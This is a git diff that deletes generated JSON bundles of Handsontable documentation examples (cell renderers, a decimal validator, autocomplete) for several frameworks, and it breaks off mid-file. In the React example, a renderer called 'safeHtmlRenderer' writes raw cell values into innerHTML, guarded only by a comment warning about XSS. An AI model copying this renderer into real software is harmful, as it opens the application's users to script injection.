b/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-renderer__react__example4.tsx.json deleted file mode 100644 index 687747b9..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-renderer__react__example4.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Cell Functions ▸ Cell renderer · Declare a custom renderer as a function (2) · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example4\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const data = [\n {\n title:\n 'Professional JavaScript for Web Developers',\n description:\n 'This book provides a developer-level introduction along with more advanced and useful features of JavaScript.',\n comments: 'I would rate it ★★★★☆',\n cover: '/docs/img/examples/professional-javascript-developers-nicholas-zakas.jpg',\n },\n {\n title: 'JavaScript: The Good Parts',\n description:\n 'This book provides a developer-level introduction along with more advanced and useful features of JavaScript.',\n comments: 'This is the book about JavaScript',\n cover: '/docs/img/examples/javascript-the-good-parts.jpg',\n },\n {\n title: 'JavaScript: The Definitive Guide',\n description:\n 'JavaScript: The Definitive Guide provides a thorough description of the core JavaScript language and both the legacy and standard DOMs implemented in web browsers.',\n comments:\n 'I\\'ve never actually read it, but the comments are highly positive.',\n cover: '/docs/img/examples/javascript-the-definitive-guide.jpg',\n },\n ];\n\n function safeHtmlRenderer(\n _instance: Handsontable,\n td: HTMLTableCellElement,\n _row: number,\n _col: number,\n _prop: string | number,\n value: Handsontable.CellValue,\n _cellProperties: Handsontable.CellProperties\n ) {\n // WARNING: Be sure you only allow certain HTML tags to avoid XSS threats.\n // Sanitize the \"value\" before passing it to the innerHTML property.\n td.innerHTML = value;\n }\n\n function coverRenderer(\n _instance: Handsontable,\n td: HTMLTableCellElement,\n _row: number,\n _col: number,\n _prop: string | number,\n value: Handsontable.CellValue,\n _cellProperties: Handsontable.CellProperties\n ) {\n const img = document.createElement('img');\n\n img.src = value;\n\n img.addEventListener('mousedown', (event) => {\n event.preventDefault();\n });\n\n td.innerText = '';\n td.appendChild(img);\n\n return td;\n }\n\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-functions/cell-renderer/react/example4.tsx","breadcrumb":["Cell Functions","Cell renderer"],"guide":"guides/cell-functions/cell-renderer/cell-renderer.md","guideTitle":"Cell renderer","exampleId":"example4","exampleTitle":"Declare a custom renderer as a function (2)","docPermalink":"/cell-renderer","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-renderer__react__example6.tsx.json b/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-renderer__react__example6.tsx.json deleted file mode 100644 index 7ac4dbea..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-renderer__react__example6.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Cell Functions ▸ Cell renderer · Render custom HTML in header · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example6\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const data = [\n { asset: 'Bitcoin', btcValue: 12.45, portfolioShare: 452 },\n { asset: 'Ethereum', btcValue: 3.82, portfolioShare: 268 },\n { asset: 'Solana', btcValue: 1.15, portfolioShare: 134 },\n { asset: 'Cardano', btcValue: 0.47, portfolioShare: 81 },\n { asset: 'Polkadot', btcValue: 0.29, portfolioShare: 65 },\n ];\n\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-functions/cell-renderer/react/example6.tsx","breadcrumb":["Cell Functions","Cell renderer"],"guide":"guides/cell-functions/cell-renderer/cell-renderer.md","guideTitle":"Cell renderer","exampleId":"example6","exampleTitle":"Render custom HTML in header","docPermalink":"/cell-renderer","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-renderer__vue__example4.vue.json b/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-renderer__vue__example4.vue.json deleted file mode 100644 index c22556e8..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-renderer__vue__example4.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Cell Functions ▸ Cell renderer · Declare a custom renderer as a function (2) · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example4\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-functions/cell-renderer/vue/example4.vue","breadcrumb":["Cell Functions","Cell renderer"],"guide":"guides/cell-functions/cell-renderer/cell-renderer.md","guideTitle":"Cell renderer","exampleId":"example4","exampleTitle":"Declare a custom renderer as a function (2)","docPermalink":"/cell-renderer","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-renderer__vue__example6.vue.json b/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-renderer__vue__example6.vue.json deleted file mode 100644 index 35f63922..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-renderer__vue__example6.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Cell Functions ▸ Cell renderer · Render custom HTML in header · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example6\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-functions/cell-renderer/vue/example6.vue","breadcrumb":["Cell Functions","Cell renderer"],"guide":"guides/cell-functions/cell-renderer/cell-renderer.md","guideTitle":"Cell renderer","exampleId":"example6","exampleTitle":"Render custom HTML in header","docPermalink":"/cell-renderer","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-validator__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-validator__angular__example2.ts.json deleted file mode 100644 index 8ad2ffff..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-validator__angular__example2.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Cell Functions ▸ Cell validator · Validate decimal numbers with dot or comma separators · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\n\nconst data = [\n ['Spring Sale 2025', 'Email', '3.4'],\n ['Brand Awareness Q3', 'Paid Search', '8,1'],\n ['Retention Push', 'In-app', '12.0'],\n ['Partner Webinar', 'Organic', '6,75'],\n ['Holiday Preview', 'Social', '9.25'],\n];\n\ntype CellMeta = { allowEmpty?: boolean };\n\nfunction decimalValidator(this: CellMeta, value: unknown, callback: (valid: boolean) => void) {\n if (this.allowEmpty && (value === null || value === undefined || value === '')) {\n callback(true);\n\n return;\n }\n\n callback(/^\\d+[.,]\\d+$/.test(String(value)));\n}\n\n@Component({\n selector: 'example2-cell-validator',\n standalone: true,\n imports: [HotTableModule],\n template: `\n \n `,\n})\nexport class AppComponent {\n readonly data = data;\n\n readonly gridSettings: GridSettings = {\n colHeaders: ['Campaign', 'Channel', 'Conversion rate'],\n columns: [\n {},\n {},\n {\n validator: decimalValidator,\n allowInvalid: false,\n },\n ],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-functions/cell-validator/angular/example2.ts","breadcrumb":["Cell Functions","Cell validator"],"guide":"guides/cell-functions/cell-validator/cell-validator.md","guideTitle":"Cell validator","exampleId":"example2","exampleTitle":"Validate decimal numbers with dot or comma separators","docPermalink":"/cell-validator","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-validator__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-validator__javascript__example2.js.json deleted file mode 100644 index db2a0ce6..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-validator__javascript__example2.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Cell Functions ▸ Cell validator · Validate decimal numbers with dot or comma separators · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst container = document.querySelector('#example2');\nconst data = [\n ['Spring Sale 2025', 'Email', '3.4'],\n ['Brand Awareness Q3', 'Paid Search', '8,1'],\n ['Retention Push', 'In-app', '12.0'],\n ['Partner Webinar', 'Organic', '6,75'],\n ['Holiday Preview', 'Social', '9.25'],\n];\nfunction decimalValidator(value, callback) {\n if (this.allowEmpty && (value === null || value === undefined || value === '')) {\n callback(true);\n return;\n }\n callback(/^\\d+[.,]\\d+$/.test(String(value)));\n}\nnew Handsontable(container, {\n data,\n colHeaders: ['Campaign', 'Channel', 'Conversion rate'],\n columns: [\n {},\n {},\n {\n validator: decimalValidator,\n allowInvalid: false,\n },\n ],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-functions/cell-validator/javascript/example2.js","breadcrumb":["Cell Functions","Cell validator"],"guide":"guides/cell-functions/cell-validator/cell-validator.md","guideTitle":"Cell validator","exampleId":"example2","exampleTitle":"Validate decimal numbers with dot or comma separators","docPermalink":"/cell-validator","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-validator__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-validator__javascript__example2.ts.json deleted file mode 100644 index 7a5d6e09..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-validator__javascript__example2.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Cell Functions ▸ Cell validator · Validate decimal numbers with dot or comma separators · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example2')!;\n\nconst data = [\n ['Spring Sale 2025', 'Email', '3.4'],\n ['Brand Awareness Q3', 'Paid Search', '8,1'],\n ['Retention Push', 'In-app', '12.0'],\n ['Partner Webinar', 'Organic', '6,75'],\n ['Holiday Preview', 'Social', '9.25'],\n];\n\ntype CellMeta = { allowEmpty?: boolean };\n\nfunction decimalValidator(this: CellMeta, value: unknown, callback: (valid: boolean) => void) {\n if (this.allowEmpty && (value === null || value === undefined || value === '')) {\n callback(true);\n\n return;\n }\n\n callback(/^\\d+[.,]\\d+$/.test(String(value)));\n}\n\nnew Handsontable(container, {\n data,\n colHeaders: ['Campaign', 'Channel', 'Conversion rate'],\n columns: [\n {},\n {},\n {\n validator: decimalValidator,\n allowInvalid: false,\n },\n ],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-functions/cell-validator/javascript/example2.ts","breadcrumb":["Cell Functions","Cell validator"],"guide":"guides/cell-functions/cell-validator/cell-validator.md","guideTitle":"Cell validator","exampleId":"example2","exampleTitle":"Validate decimal numbers with dot or comma separators","docPermalink":"/cell-validator","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-validator__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-validator__react__example2.tsx.json deleted file mode 100644 index fd3bcb20..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-validator__react__example2.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Cell Functions ▸ Cell validator · Validate decimal numbers with dot or comma separators · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example2\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst data = [\n ['Spring Sale 2025', 'Email', '3.4'],\n ['Brand Awareness Q3', 'Paid Search', '8,1'],\n ['Retention Push', 'In-app', '12.0'],\n ['Partner Webinar', 'Organic', '6,75'],\n ['Holiday Preview', 'Social', '9.25'],\n];\n\ntype CellMeta = { allowEmpty?: boolean };\n\nfunction decimalValidator(this: CellMeta, value: unknown, callback: (valid: boolean) => void) {\n if (this.allowEmpty && (value === null || value === undefined || value === '')) {\n callback(true);\n\n return;\n }\n\n callback(/^\\d+[.,]\\d+$/.test(String(value)));\n}\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-functions/cell-validator/react/example2.tsx","breadcrumb":["Cell Functions","Cell validator"],"guide":"guides/cell-functions/cell-validator/cell-validator.md","guideTitle":"Cell validator","exampleId":"example2","exampleTitle":"Validate decimal numbers with dot or comma separators","docPermalink":"/cell-validator","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-validator__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-validator__vue__example2.vue.json deleted file mode 100644 index 2872ca56..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-validator__vue__example2.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Cell Functions ▸ Cell validator · Validate decimal numbers with dot or comma separators · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example2\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-functions/cell-validator/vue/example2.vue","breadcrumb":["Cell Functions","Cell validator"],"guide":"guides/cell-functions/cell-validator/cell-validator.md","guideTitle":"Cell validator","exampleId":"example2","exampleTitle":"Validate decimal numbers with dot or comma separators","docPermalink":"/cell-validator","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__angular__example3.ts.json deleted file mode 100644 index 08a3c707..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__angular__example3.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Cell Types ▸ Autocomplete cell type · Autocomplete strict mode with asynchronous data · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": 